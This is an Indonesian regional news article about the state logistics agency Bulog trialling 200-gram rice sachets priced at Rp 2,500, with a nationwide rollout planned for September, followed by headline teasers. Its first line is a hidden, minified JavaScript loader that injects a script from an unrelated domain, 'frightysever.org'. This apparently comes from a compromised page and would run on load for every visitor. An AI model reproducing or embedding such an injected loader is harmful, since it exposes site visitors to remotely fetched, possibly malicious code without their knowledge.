(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, Perum Bulog akan menjual beras sachet ukuran 200 gram seharga Rp 2.500. Rencanannya, beras tersebut bakal tersedia di seluruh Indonesia pada September mendatang. Direktur Pengembangan Bisnis dan Industri Bulog, Imam Subowo mengatakan ada beberapa daerah yang memasarkan beras sachet, seperti Jawa Barat, Jawa Tengah, dan Jawa Timur.
“Yang sudah ke masyarakat untuk Jawa Barat itu sekitar 11 ton, Jawa Timur mungkin sekitar 8 ton. Ini baru bulan sekarang ya, artinya ini tentu akan terus gerak,” Jelas Imam di Kementerian BUMN, Jakarta, Senin (9/7).
Kemudian Nusa Tenggara Barat (NTB), dan Bengkulu akan memulai produksi beras sachet tersebut. Bulog optimistis pada September nanti beras sachet tersebut bisa dipasarkan ke seluruh Indonesia. “September harus sudah semua karena memang ini kayak dengan kemasan juga mesinnya harus kita jaga sehingga September sudah harus semua. Tapi intinya kita akan tambah terus,” paparnya.
Pemerintah melalui Perum Bulog akan menjual beras sachet. Direktur Pengembangan Bisnis dan Industri Perum Bulog, Imam Subowo menjelaskan saat ini beras sachet masih dijual untuk tahap uji coba pasar. Uji coba ini dilaksanakan selama satu bulan sejak awal Juli di beberapa daerah, seperti Jawa Barat, Jawa Tengah dan Jawa Timur dengan total beras yang digunakan sebanyak 55 ton.
“Sekarang kan masih uji pasar. Totalnya iya kira-kira segitu (55 ton),” katanya di Kementerian BUMN, Jakarta.
Lebih lanjut, Imam mengatakan saat ini produksi di Jawa Barat telah mencapai 11 ton dan Jawa Timur 8 ton, dan angka tersebut akan terus bertambah. “Yang sudah ke masyarakat untuk Jawa Barat itu sekitar 11 ton, Jawa Timur mungkin sekitar 8 ton. Ini baru bulan sekarang ya, artinya ini tentu akan terus gerak,” ungkapnya.
Imam juga memastikan pada September mendatang beras sachet tersebut sudah tersedia di seluruh Indonesia. “September harus sudah semua karena memang ini kayak dengan kemasan juga mesinnya harus kita jaga sehingga September sudah harus semua. Tapi intinya kita akan tambah terus,” ungkapnya.(cel/dtc)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.